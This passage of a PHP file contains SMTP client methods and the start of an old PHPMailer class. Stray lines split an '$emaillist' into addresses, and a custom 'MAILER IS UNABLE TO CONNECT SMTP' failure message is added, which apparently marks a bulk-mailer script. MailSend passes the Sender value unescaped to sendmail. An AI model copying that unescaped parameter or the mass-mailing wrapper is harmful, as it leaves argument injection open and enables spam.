1016 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
1017
1018 $rply = $this->get_lines();
1019 $code = substr($rply,0,3);
1020
1021 if($this->do_debug >= 2) {
1022 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1023 }
1024
1025 if($code != 211 && $code != 214) {
1026 $this->error =
1027 array("error" => "HELP not accepted from server",
1028 "smtp_code" => $code,
1029 "smtp_msg" => substr($rply,4));
1030 if($this->do_debug >= 1) {
1031 echo "SMTP -> ERROR: " . $this->error["error"] .
1032 ": " . $rply . $this->CRLF;
1033 }
1034 return false;
1035 }
1036
1037 return $rply;
1038 }
1039
1040 /**
1041 * Starts a mail transaction from the email address specified in
1042 * $from. Returns true if successful or false otherwise. If True
1043 * the mail transaction is started and then one or more Recipient
1044 * commands may be called followed by a Data command.
1045 *
1046 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1047 *
1048 * SMTP CODE SUCCESS: 250
1049 * SMTP CODE SUCCESS: 552,451,452
1050 * SMTP CODE SUCCESS: 500,501,421
1051 * @access public
1052 * @return bool
1053 */
1054 function Mail($from) {
1055 $this->error = null; # so no confusion is caused
1056
1057 if(!$this->connected()) {
1058 $this->error = array(
1059 "error" => "Called Mail() without being connected");
1060 return false;
1061 }
1062
1063 $useVerp = ($this->do_verp ? "XVERP" : "");
1064 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1065
1066 $rply = $this->get_lines();
1067 $code = substr($rply,0,3);
1068
1069 if($this->do_debug >= 2) {
1070 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1071 }
1072
1073 if($code != 250) {
1074 $this->error =
1075 array("error" => "MAIL not accepted from server",
1076 "smtp_code" => $code,
1077 "smtp_msg" => substr($rply,4));
1078 if($this->do_debug >= 1) {
1079 echo "SMTP -> ERROR: " . $this->error["error"] .
1080 ": " . $rply . $this->CRLF;
1081 }
1082 return false;
1083 }
1084 return true;
1085 }
1086
1087 /**
1088 * Sends the command NOOP to the SMTP server.
1089 *
1090 * Implements from rfc 821: NOOP <CRLF>
1091 *
1092 * SMTP CODE SUCCESS: 250
1093 * SMTP CODE ERROR : 500, 421
1094 * @access public
1095 * @return bool
1096 */
1097 function Noop() {
1098 $this->error = null; # so no confusion is caused
1099
1100 if(!$this->connected()) {
1101 $this->error = array(
1102 "error" => "Called Noop() without being connected");
1103 return false;
1104 }
1105
1106 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1107
1108 $rply = $this->get_lines();
1109 $code = substr($rply,0,3);
1110
1111 if($this->do_debug >= 2) {
1112 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1113 }
1114
1115 if($code != 250) {
1116 $this->error =
1117 array("error" => "NOOP not accepted from server",
1118 "smtp_code" => $code,
1119 "smtp_msg" => substr($rply,4));
1120 if($this->do_debug >= 1) {
1121 echo "SMTP -> ERROR: " . $this->error["error"] .
1122 ": " . $rply . $this->CRLF;
1123 }
1124 return false;
1125 }
1126 return true;
1127 }
1128
1129 /**
1130 * Sends the quit command to the server and then closes the socket
1131 * if there is no error or the $close_on_error argument is true.
1132 *
1133 * Implements from rfc 821: QUIT <CRLF>
1134 *
1135 * SMTP CODE SUCCESS: 221
1136 * SMTP CODE ERROR : 500
1137 * @access public
1138 * @return bool
1139 */
1140 function Quit($close_on_error=true) {
1141 $this->error = null; # so there is no confusion
1142
1143 if(!$this->connected()) {
1144 $this->error = array(
1145 "error" => "Called Quit() without being connected");
1146 return false;
1147 }
1148
1149 # send the quit command to the server
1150 fputs($this->smtp_conn,"quit" . $this->CRLF);
1151
1152 # get any good-bye messages
1153 $byemsg = $this->get_lines();
1154
1155 if($this->do_debug >= 2) {
1156 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1157 }
1158
1159 $rval = true;
1160 $e = null;
1161
1162 $code = substr($byemsg,0,3);
1163 if($code != 221) {
1164 # use e as a tmp var cause Close will overwrite $this->error
1165 $e = array("error" => "SMTP server rejected quit command",
1166 "smtp_code" => $code,
1167 "smtp_rply" => substr($byemsg,4));
1168 $rval = false;
1169 if($this->do_debug >= 1) {
1170 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1171 $byemsg . $this->CRLF;
1172 }
1173 }
1174
1175 if(empty($e) || $close_on_error) {
1176 $this->Close();
1177 }
1178
1179 return $rval;
1180 }
1181
1182 /**
1183 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1184 * Returns true if the recipient was accepted false if it was rejected.
1185 *
1186 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1187 *
1188 * SMTP CODE SUCCESS: 250,251
1189 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1190 * SMTP CODE ERROR : 500,501,503,421
1191 * @access public
1192 * @return bool
1193 */
1194 function Recipient($to) {
1195 $this->error = null; # so no confusion is caused
1196
1197 if(!$this->connected()) {
1198 $this->error = array(
1199 "error" => "Called Recipient() without being connected");
1200 return false;
1201 }
1202
1203 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1204
1205 $rply = $this->get_lines();
1206 $code = substr($rply,0,3);
1207
1208 if($this->do_debug >= 2) {
1209 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1210 }
1211
1212 if($code != 250 && $code != 251) {
1213 $this->error =
1214 array("error" => "RCPT not accepted from server",
1215 "smtp_code" => $code,
1216 "smtp_msg" => substr($rply,4));
1217 if($this->do_debug >= 1) {
1218 echo "SMTP -> ERROR: " . $this->error["error"] .
1219 ": " . $rply . $this->CRLF;
1220 }
1221 return false;
1222 }
1223 return true;
1224 }
1225
1226 /**
1227 * Sends the RSET command to abort and transaction that is
1228 * currently in progress. Returns true if successful false
1229 * otherwise.
1230 *
1231 * Implements rfc 821: RSET <CRLF>
1232 *
1233 * SMTP CODE SUCCESS: 250
1234 * SMTP CODE ERROR : 500,501,504,421
1235 * @access public
1236 * @return bool
1237 */
1238 function Reset() {
1239 $this->error = null; # so no confusion is caused
1240
1241 if(!$this->connected()) {
1242 $this->error = array(
1243 "error" => "Called Reset() without being connected");
1244 return false;
1245 }
1246
1247 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1248
1249 $rply = $this->get_lines();
1250 $code = substr($rply,0,3);
1251
1252 if($this->do_debug >= 2) {
1253 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1254 }
1255
1256 if($code != 250) {
1257 $this->error =
1258 array("error" => "RSET failed",
1259 "smtp_code" => $code,
1260 "smtp_msg" => substr($rply,4));
1261 if($this->do_debug >= 1) {
1262 echo "SMTP -> ERROR: " . $this->error["error"] .
1263 ": " . $rply . $this->CRLF;
1264 }
1265 return false;
1266 }
1267
1268 return true;
1269 }
1270
1271 /**
1272 * Starts a mail transaction from the email address specified in
1273 * $from. Returns true if successful or false otherwise. If True
1274 * the mail transaction is started and then one or more Recipient
1275 * commands may be called followed by a Data command. This command
1276 * will send the message to the users terminal if they are logged
1277 * in.
1278 *
1279 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1280 *
1281 * SMTP CODE SUCCESS: 250
1282 * SMTP CODE SUCCESS: 552,451,452
1283 * SMTP CODE SUCCESS: 500,501,502,421
1284 * @access public
1285 * @return bool
1286 */
1287 function Send($from) {
1288 $this->error = null; # so no confusion is caused
1289
1290 if(!$this->connected()) {
1291 $this->error = array(
1292 "error" => "Called Send() without being connected");
1293 return false;
1294 }
1295
1296 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1297
1298 $rply = $this->get_lines();
1299 $code = substr($rply,0,3);
1300
1301 if($this->do_debug >= 2) {
1302 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1303 }
1304
1305 if($code != 250) {
1306 $this->error =
1307 array("error" => "SEND not accepted from server",
1308 "smtp_code" => $code,
1309 "smtp_msg" => substr($rply,4));
1310 if($this->do_debug >= 1) {
1311 echo "SMTP -> ERROR: " . $this->error["error"] .
1312 ": " . $rply . $this->CRLF;
1313 }
1314 return false;
1315 }
1316 return true;
1317 }
1318
1319 /**
1320 * Starts a mail transaction from the email address specified in
1321 * $from. Returns true if successful or false otherwise. If True
1322 * the mail transaction is started and then one or more Recipient
1323 * commands may be called followed by a Data command. This command
1324 * will send the message to the users terminal if they are logged
1325 * in and send them an email.
1326 *
1327 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1328 *
1329 * SMTP CODE SUCCESS: 250
1330 * SMTP CODE SUCCESS: 552,451,452
1331 * SMTP CODE SUCCESS: 500,501,502,421
1332 * @access public
1333 * @return bool
1334 */
1335 function SendAndMail($from) {
1336 $this->error = null; # so no confusion is caused
1337
1338 if(!$this->connected()) {
1339 $this->error = array(
1340 "error" => "Called SendAndMail() without being connected");
1341 return false;
1342 }
1343
1344 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1345
1346 $rply = $this->get_lines();
1347 $code = substr($rply,0,3);
1348
1349 if($this->do_debug >= 2) {
1350 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1351 }
1352
1353 if($code != 250) {
1354 $this->error =
1355 array("error" => "SAML not accepted from server",
1356 "smtp_code" => $code,
1357 "smtp_msg" => substr($rply,4));
1358 if($this->do_debug >= 1) {
1359 echo "SMTP -> ERROR: " . $this->error["error"] .
1360 ": " . $rply . $this->CRLF;
1361 }
1362 return false;
1363 }
1364 return true;
1365 }
1366
1367 /**
1368 * Starts a mail transaction from the email address specified in
1369 * $from. Returns true if successful or false otherwise. If True
1370 * the mail transaction is started and then one or more Recipient
1371 * commands may be called followed by a Data command. This command
1372 * will send the message to the users terminal if they are logged
1373 * in or mail it to them if they are not.
1374 *
1375 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1376 *
1377 * SMTP CODE SUCCESS: 250
1378 * SMTP CODE SUCCESS: 552,451,452
1379 * SMTP CODE SUCCESS: 500,501,502,421
1380 * @access public
1381 * @return bool
1382 */
1383 function SendOrMail($from) {
1384 $this->error = null; # so no confusion is caused
1385
1386 if(!$this->connected()) {
1387 $this->error = array(
1388 "error" => "Called SendOrMail() without being connected");
1389 return false;
1390 }
1391
1392 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1393
1394 $rply = $this->get_lines();
1395 $code = substr($rply,0,3);
1396
1397 if($this->do_debug >= 2) {
1398 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1399 }
1400
1401 if($code != 250) {
1402 $this->error =
1403 array("error" => "SOML not accepted from server",
1404 "smtp_code" => $code,
1405 "smtp_msg" => substr($rply,4));
1406 if($this->do_debug >= 1) {
1407 echo "SMTP -> ERROR: " . $this->error["error"] .
1408 ": " . $rply . $this->CRLF;
1409 }
1410 return false;
1411 }
1412 return true;
1413 }
1414
1415 /**
1416 * This is an optional command for SMTP that this class does not
1417 * support. This method is here to make the RFC821 Definition
1418 * complete for this class and __may__ be implimented in the future
1419 *
1420 * Implements from rfc 821: TURN <CRLF>
1421 *
1422 * SMTP CODE SUCCESS: 250
1423 * SMTP CODE FAILURE: 502
1424 * SMTP CODE ERROR : 500, 503
1425 * @access public
1426 * @return bool
1427 */
1428 function Turn() {
1429 $this->error = array("error" => "This method, TURN, of the SMTP ".
1430 "is not implemented");
1431 if($this->do_debug >= 1) {
1432 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1433 }
1434 return false;
1435 }
1436
1437 /**
1438 * Verifies that the name is recognized by the server.
1439 * Returns false if the name could not be verified otherwise
1440 * the response from the server is returned.
1441 *
1442 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1443 *
1444 * SMTP CODE SUCCESS: 250,251
1445 * SMTP CODE FAILURE: 550,551,553
1446 * SMTP CODE ERROR : 500,501,502,421
1447 * @access public
1448 * @return int
1449 */
1450 function Verify($name) {
1451 $this->error = null; # so no confusion is caused
1452
1453 if(!$this->connected()) {
1454 $this->error = array(
1455 "error" => "Called Verify() without being connected");
1456 return false;
1457 }
1458
1459 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1460
1461 $rply = $this->get_lines();
1462 $code = substr($rply,0,3);
1463
1464 if($this->do_debug >= 2) {
1465 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1466 }
1467
1468 if($code != 250 && $code != 251) {
1469 $this->error =
1470 array("error" => "VRFY failed on name '$name'",
1471 "smtp_code" => $code,
1472 "smtp_msg" => substr($rply,4));
1473 if($this->do_debug >= 1) {
1474 echo "SMTP -> ERROR: " . $this->error["error"] .
1475 ": " . $rply . $this->CRLF;
1476 }
1477 return false;
1478 }
1479 return $rply;
1480 }
1481
1482 /*******************************************************************
1483 * INTERNAL FUNCTIONS *
1484 ******************************************************************/
1485
1486 /**
1487 * Read in as many lines as possible
1488 * either before eof or socket timeout occurs on the operation.
1489 * With SMTP we can tell if we have more lines to read if the
1490 * 4th character is '-' symbol. If it is a space then we don't
1491 * need to read anything else.
1492 * @access private
1493 * @return string
1494 */
1495 function get_lines() {
1496 $data = "";
1497 while($str = @fgets($this->smtp_conn,515)) {
1498 if($this->do_debug >= 4) {
1499 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1500 $this->CRLF;
1501 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1502 $this->CRLF;
1503 }
1504 $data .= $str;
1505 if($this->do_debug >= 4) {
1506 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1507 }
1508 # if the 4th character is a space then we are done reading
1509 # so just break the loop
1510 if(substr($str,3,1) == " ") { break; }
1511 }
1512 return $data;
1513 }
1514
1515}
1516
1517
1518$allemails = split("\n", $emaillist);
1519$numemails = count($allemails);
1520class PHPMailer {
1521
1522 /////////////////////////////////////////////////
1523 // PROPERTIES, PUBLIC
1524 /////////////////////////////////////////////////
1525
1526 /**
1527 * Email priority (1 = High, 3 = Normal, 5 = low).
1528 * @var int
1529 */
1530 var $Priority = 3;
1531
1532 /**
1533 * Sets the CharSet of the message.
1534 * @var string
1535 */
1536 var $CharSet = 'us-ascii';
1537
1538 /**
1539 * Sets the Content-type of the message.
1540 * @var string
1541 */
1542 var $ContentType = 'text/plain';
1543
1544 /**
1545 * Sets the Encoding of the message. Options for this are "8bit",
1546 * "7bit", "binary", "base64", and "quoted-printable".
1547
1548 * @var string
1549 */
1550 var $Encoding = 'quoted-printable';
1551
1552 /**
1553 * Holds the most recent mailer error message.
1554 * @var string
1555 */
1556 var $ErrorInfo = '';
1557
1558 /**
1559 * Sets the From email address for the message.
1560 * @var string
1561 */
1562 var $From = '';
1563
1564 /**
1565 * Sets the From name of the message.
1566 * @var string
1567 */
1568 var $FromName = '';
1569
1570 /**
1571 * Sets the Sender email (Return-Path) of the message. If not empty,
1572 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1573 * @var string
1574 */
1575 var $Sender = '';
1576
1577 /**
1578 * Sets the Subject of the message.
1579 * @var string
1580 */
1581 var $Subject = '';
1582
1583 /**
1584 * Sets the Body of the message. This can be either an HTML or text body.
1585 * If HTML then run IsHTML(true).
1586 * @var string
1587 */
1588 var $Body = '';
1589
1590 /**
1591 * Sets the text-only body of the message. This automatically sets the
1592 * email to multipart/alternative. This body can be read by mail
1593 * clients that do not have HTML email capability such as mutt. Clients
1594 * that can read HTML will view the normal Body.
1595 * @var string
1596 */
1597 var $AltBody = '';
1598
1599 /**
1600 * Sets word wrapping on the body of the message to a given number of
1601 * characters.
1602 * @var int
1603 */
1604 var $WordWrap = 0;
1605
1606 /**
1607 * Method to send mail: ("mail", "sendmail", or "smtp").
1608 * @var string
1609 */
1610 var $Mailer = 'mail';
1611
1612 /**
1613 * Sets the path of the sendmail program.
1614 * @var string
1615 */
1616 var $Sendmail = '/usr/sbin/sendmail';
1617
1618 /**
1619 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1620 * is in a different directory than the PHP include path.
1621 * @var string
1622 */
1623 var $PluginDir = '';
1624
1625 /**
1626 * Holds PHPMailer version.
1627 * @var string
1628 */
1629 var $Version = "";
1630
1631 /**
1632 * Sets the email address that a reading confirmation will be sent.
1633 * @var string
1634 */
1635 var $ConfirmReadingTo = '';
1636
1637 /**
1638 * Sets the hostname to use in Message-Id and Received headers
1639 * and as default HELO string. If empty, the value returned
1640 * by SERVER_NAME is used or 'localhost.localdomain'.
1641 * @var string
1642 */
1643 var $Hostname = '';
1644
1645 /**
1646 * Sets the message ID to be used in the Message-Id header.
1647 * If empty, a unique id will be generated.
1648 * @var string
1649 */
1650 var $MessageID = '';
1651
1652 /////////////////////////////////////////////////
1653 // PROPERTIES FOR SMTP
1654 /////////////////////////////////////////////////
1655
1656 /**
1657 * Sets the SMTP hosts. All hosts must be separated by a
1658 * semicolon. You can also specify a different port
1659 * for each host by using this format: [hostname:port]
1660 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1661 * Hosts will be tried in order.
1662 * @var string
1663 */
1664 var $Host = 'localhost';
1665
1666 /**
1667 * Sets the default SMTP server port.
1668 * @var int
1669 */
1670 var $Port = 25;
1671
1672 /**
1673 * Sets the SMTP HELO of the message (Default is $Hostname).
1674 * @var string
1675 */
1676 var $Helo = '';
1677
1678 /**
1679 * Sets connection prefix.
1680 * Options are "", "ssl" or "tls"
1681 * @var string
1682 */
1683 var $SMTPSecure = "";
1684
1685 /**
1686 * Sets SMTP authentication. Utilizes the Username and Password variables.
1687 * @var bool
1688 */
1689 var $SMTPAuth = false;
1690
1691 /**
1692 * Sets SMTP username.
1693 * @var string
1694 */
1695 var $Username = '';
1696
1697 /**
1698 * Sets SMTP password.
1699 * @var string
1700 */
1701 var $Password = '';
1702
1703 /**
1704 * Sets the SMTP server timeout in seconds. This function will not
1705 * work with the win32 version.
1706 * @var int
1707 */
1708 var $Timeout = 10;
1709
1710 /**
1711 * Sets SMTP class debugging on or off.
1712 * @var bool
1713 */
1714 var $SMTPDebug = false;
1715
1716 /**
1717 * Prevents the SMTP connection from being closed after each mail
1718 * sending. If this is set to true then to close the connection
1719 * requires an explicit call to SmtpClose().
1720 * @var bool
1721 */
1722 var $SMTPKeepAlive = false;
1723
1724 /**
1725 * Provides the ability to have the TO field process individual
1726 * emails, instead of sending to entire TO addresses
1727 * @var bool
1728 */
1729 var $SingleTo = false;
1730
1731 /////////////////////////////////////////////////
1732 // PROPERTIES, PRIVATE
1733 /////////////////////////////////////////////////
1734
1735 var $smtp = NULL;
1736 var $to = array();
1737 var $cc = array();
1738 var $bcc = array();
1739 var $ReplyTo = array();
1740 var $attachment = array();
1741 var $CustomHeader = array();
1742 var $message_type = '';
1743 var $boundary = array();
1744 var $language = array();
1745 var $error_count = 0;
1746 var $LE = "\n";
1747 var $sign_key_file = "";
1748 var $sign_key_pass = "";
1749
1750 /////////////////////////////////////////////////
1751 // METHODS, VARIABLES
1752 /////////////////////////////////////////////////
1753
1754 /**
1755 * Sets message type to HTML.
1756 * @param bool $bool
1757 * @return void
1758 */
1759 function IsHTML($bool) {
1760 if($bool == true) {
1761 $this->ContentType = 'text/html';
1762 } else {
1763 $this->ContentType = 'text/plain';
1764 }
1765 }
1766
1767 /**
1768 * Sets Mailer to send message using SMTP.
1769 * @return void
1770 */
1771 function IsSMTP() {
1772 $this->Mailer = 'smtp';
1773 }
1774
1775 /**
1776 * Sets Mailer to send message using PHP mail() function.
1777 * @return void
1778 */
1779 function IsMail() {
1780 $this->Mailer = 'mail';
1781 }
1782
1783 /**
1784 * Sets Mailer to send message using the $Sendmail program.
1785 * @return void
1786 */
1787 function IsSendmail() {
1788 $this->Mailer = 'sendmail';
1789 }
1790
1791 /**
1792 * Sets Mailer to send message using the qmail MTA.
1793 * @return void
1794 */
1795 function IsQmail() {
1796 $this->Sendmail = '/var/qmail/bin/sendmail';
1797 $this->Mailer = 'sendmail';
1798 }
1799
1800 /////////////////////////////////////////////////
1801 // METHODS, RECIPIENTS
1802 /////////////////////////////////////////////////
1803
1804 /**
1805 * Adds a "To" address.
1806 * @param string $address
1807 * @param string $name
1808 * @return void
1809 */
1810 function AddAddress($address, $name = '') {
1811 $cur = count($this->to);
1812 $this->to[$cur][0] = trim($address);
1813 $this->to[$cur][1] = $name;
1814 }
1815
1816 /**
1817 * Adds a "Cc" address. Note: this function works
1818 * with the SMTP mailer on win32, not with the "mail"
1819 * mailer.
1820 * @param string $address
1821 * @param string $name
1822 * @return void
1823 */
1824 function AddCC($address, $name = '') {
1825 $cur = count($this->cc);
1826 $this->cc[$cur][0] = trim($address);
1827 $this->cc[$cur][1] = $name;
1828 }
1829
1830 /**
1831 * Adds a "Bcc" address. Note: this function works
1832 * with the SMTP mailer on win32, not with the "mail"
1833 * mailer.
1834 * @param string $address
1835 * @param string $name
1836 * @return void
1837 */
1838 function AddBCC($address, $name = '') {
1839 $cur = count($this->bcc);
1840 $this->bcc[$cur][0] = trim($address);
1841 $this->bcc[$cur][1] = $name;
1842 }
1843
1844 /**
1845 * Adds a "Reply-To" address.
1846 * @param string $address
1847 * @param string $name
1848 * @return void
1849 */
1850 function AddReplyTo($address, $name = '') {
1851 $cur = count($this->ReplyTo);
1852 $this->ReplyTo[$cur][0] = trim($address);
1853 $this->ReplyTo[$cur][1] = $name;
1854 }
1855
1856 /////////////////////////////////////////////////
1857 // METHODS, MAIL SENDING
1858 /////////////////////////////////////////////////
1859
1860 /**
1861 * Creates message and assigns Mailer. If the message is
1862 * not sent successfully then it returns false. Use the ErrorInfo
1863 * variable to view description of the error.
1864 * @return bool
1865 */
1866 function Send() {
1867 $header = '';
1868 $body = '';
1869 $result = true;
1870
1871 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1872 $this->SetError($this->Lang('provide_address'));
1873 return false;
1874 }
1875
1876 /* Set whether the message is multipart/alternative */
1877 if(!empty($this->AltBody)) {
1878 $this->ContentType = 'multipart/alternative';
1879 }
1880
1881 $this->error_count = 0; // reset errors
1882 $this->SetMessageType();
1883 $header .= $this->CreateHeader();
1884 $body = $this->CreateBody();
1885
1886 if($body == '') {
1887 return false;
1888 }
1889
1890 /* Choose the mailer */
1891 switch($this->Mailer) {
1892 case 'sendmail':
1893 $result = $this->SendmailSend($header, $body);
1894 break;
1895 case 'smtp':
1896 $result = $this->SmtpSend($header, $body);
1897 break;
1898 case 'mail':
1899 $result = $this->MailSend($header, $body);
1900 break;
1901 default:
1902 $result = $this->MailSend($header, $body);
1903 break;
1904 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1905 //$result = false;
1906 //break;
1907 }
1908
1909 return $result;
1910 }
1911
1912 /**
1913 * Sends mail using the $Sendmail program.
1914 * @access private
1915 * @return bool
1916 */
1917 function SendmailSend($header, $body) {
1918 if ($this->Sender != '') {
1919 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1920 } else {
1921 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1922 }
1923
1924 if(!@$mail = popen($sendmail, 'w')) {
1925 $this->SetError($this->Lang('execute') . $this->Sendmail);
1926 return false;
1927 }
1928
1929 fputs($mail, $header);
1930 fputs($mail, $body);
1931
1932 $result = pclose($mail);
1933 if (version_compare(phpversion(), '4.2.3') == -1) {
1934 $result = $result >> 8 & 0xFF;
1935 }
1936 if($result != 0) {
1937 $this->SetError($this->Lang('execute') . $this->Sendmail);
1938 return false;
1939 }
1940 return true;
1941 }
1942
1943 /**
1944 * Sends mail using the PHP mail() function.
1945 * @access private
1946 * @return bool
1947 */
1948 function MailSend($header, $body) {
1949
1950 $to = '';
1951 for($i = 0; $i < count($this->to); $i++) {
1952 if($i != 0) { $to .= ', '; }
1953 $to .= $this->AddrFormat($this->to[$i]);
1954 }
1955
1956 $toArr = split(',', $to);
1957
1958 $params = sprintf("-oi -f %s", $this->Sender);
1959 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1960 $old_from = ini_get('sendmail_from');
1961 ini_set('sendmail_from', $this->Sender);
1962 if ($this->SingleTo === true && count($toArr) > 1) {
1963 foreach ($toArr as $key => $val) {
1964 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1965 }
1966 } else {
1967 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1968 }
1969 } else {
1970 if ($this->SingleTo === true && count($toArr) > 1) {
1971 foreach ($toArr as $key => $val) {
1972 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1973 }
1974 } else {
1975 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1976 }
1977 }
1978
1979 if (isset($old_from)) {
1980 ini_set('sendmail_from', $old_from);
1981 }
1982
1983 if(!$rt) {
1984 $this->SetError($this->Lang('instantiate'));
1985 return false;
1986 }
1987
1988 return true;
1989 }
1990
1991 /**
1992 * Sends mail via SMTP using PhpSMTP (Author:
1993 * Chris Ryan). Returns bool. Returns false if there is a
1994 * bad MAIL FROM, RCPT, or DATA input.
1995 * @access private
1996 * @return bool
1997 */
1998 function SmtpSend($header, $body) {
1999 $error = '';
2000 $bad_rcpt = array();
2001
2002 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
2003 return false;
2004 }
2005
2006 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2007 if(!$this->smtp->Mail($smtp_from)) {
2008 $error = $this->Lang('from_failed') . $smtp_from;
2009 $this->SetError($error);
2010 $this->smtp->Reset();
2011 return false;
2012 }
2013
2014 /* Attempt to send attach all recipients */
2015 for($i = 0; $i < count($this->to); $i++) {
2016 if(!$this->smtp->Recipient($this->to[$i][0])) {
2017 $bad_rcpt[] = $this->to[$i][0];
2018 }
2019 }
2020 for($i = 0; $i < count($this->cc); $i++) {
2021 if(!$this->smtp->Recipient($this->cc[$i][0])) {
2022 $bad_rcpt[] = $this->cc[$i][0];
2023 }
2024 }
2025 for($i = 0; $i < count($this->bcc); $i++) {
2026 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2027 $bad_rcpt[] = $this->bcc[$i][0];
2028 }
2029 }
2030
2031 if(count($bad_rcpt) > 0) { // Create error message
2032 for($i = 0; $i < count($bad_rcpt); $i++) {
2033 if($i != 0) {
2034 $error .= ', ';
2035 }
2036 $error .= $bad_rcpt[$i];
2037
2038 }
2039 $error = $this->Lang('recipients_failed') . $error;
2040 $this->SetError($error);
2041 $this->smtp->Reset();
2042 return false;
2043 }
2044
2045 if(!$this->smtp->Data($header . $body)) {
2046 $this->SetError($this->Lang('data_not_accepted'));
2047 $this->smtp->Reset();
2048 return false;
2049 }
2050 if($this->SMTPKeepAlive == true) {
2051 $this->smtp->Reset();
2052 } else {
2053 $this->SmtpClose();
2054 }
2055
2056 return true;
2057 }
2058
2059 /**
2060 * Initiates a connection to an SMTP server. Returns false if the
2061 * operation failed.
2062 * @access private
2063 * @return bool
2064 */
2065 function SmtpConnect() {
2066 if($this->smtp == NULL) {
2067 $this->smtp = new SMTP();
2068 }
2069
2070 $this->smtp->do_debug = $this->SMTPDebug;
2071 $hosts = explode(';', $this->Host);
2072 $index = 0;
2073 $connection = ($this->smtp->Connected());
2074
2075 /* Retry while there is no connection */
2076 while($index < count($hosts) && $connection == false) {
2077 $hostinfo = array();
2078 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2079 $host = $hostinfo[1];
2080 $port = $hostinfo[2];
2081 } else {
2082 $host = $hosts[$index];
2083 $port = $this->Port;
2084 }
2085
2086 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2087 if ($this->Helo != '') {
2088 $this->smtp->Hello($this->Helo);
2089 } else {
2090 $this->smtp->Hello($this->ServerHostname());
2091 }
2092
2093 $connection = true;
2094 if($this->SMTPAuth) {
2095 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2096 $this->SetError($this->Lang('authenticate'));
2097 $this->smtp->Reset();
2098 $connection = false;
2099 }
2100 }
2101 }
2102 $index++;
2103 }
2104 if(!$connection) {
2105 $this->SetError($this->Lang('connect_host'));
2106 }
2107
2108 return $connection;
2109 }
2110
2111 /**
2112 * Closes the active SMTP session if one exists.
2113 * @return void
2114 */
2115 function SmtpClose() {
2116 if($this->smtp != NULL) {
2117 if($this->smtp->Connected()) {
2118 $this->smtp->Quit();
2119 $this->smtp->Close();
2120 }
2121 }
2122 }
2123
2124 /**
2125 * Sets the language for all class error messages. Returns false
2126 * if it cannot load the language file. The default language type
2127 * is English.
2128 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2129 * @param string $lang_path Path to the language file directory
2130 * @access public
2131 * @return bool
2132 */
2133 function SetLanguage($lang_type, $lang_path = 'language/') {
2134 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2135 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2136 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2137 include($lang_path.'phpmailer.lang-en.php');
2138 } else {
2139 $this->SetError('Could not load language file');
2140 return false;
2141 }
2142 $this->language = $PHPMAILER_LANG;
2143
2144 return true;
2145 }
2146
2147 /////////////////////////////////////////////////
2148 // METHODS, MESSAGE CREATION
2149 /////////////////////////////////////////////////
2150
2151 /**
2152 * Creates recipient headers.
2153 * @access private
2154 * @return string
2155 */
2156 function AddrAppend($type, $addr) {
2157 $addr_str = $type . ': ';
2158 $addr_str .= $this->AddrFormat($addr[0]);
2159 if(count($addr) > 1) {
2160 for($i = 1; $i < count($addr); $i++) {
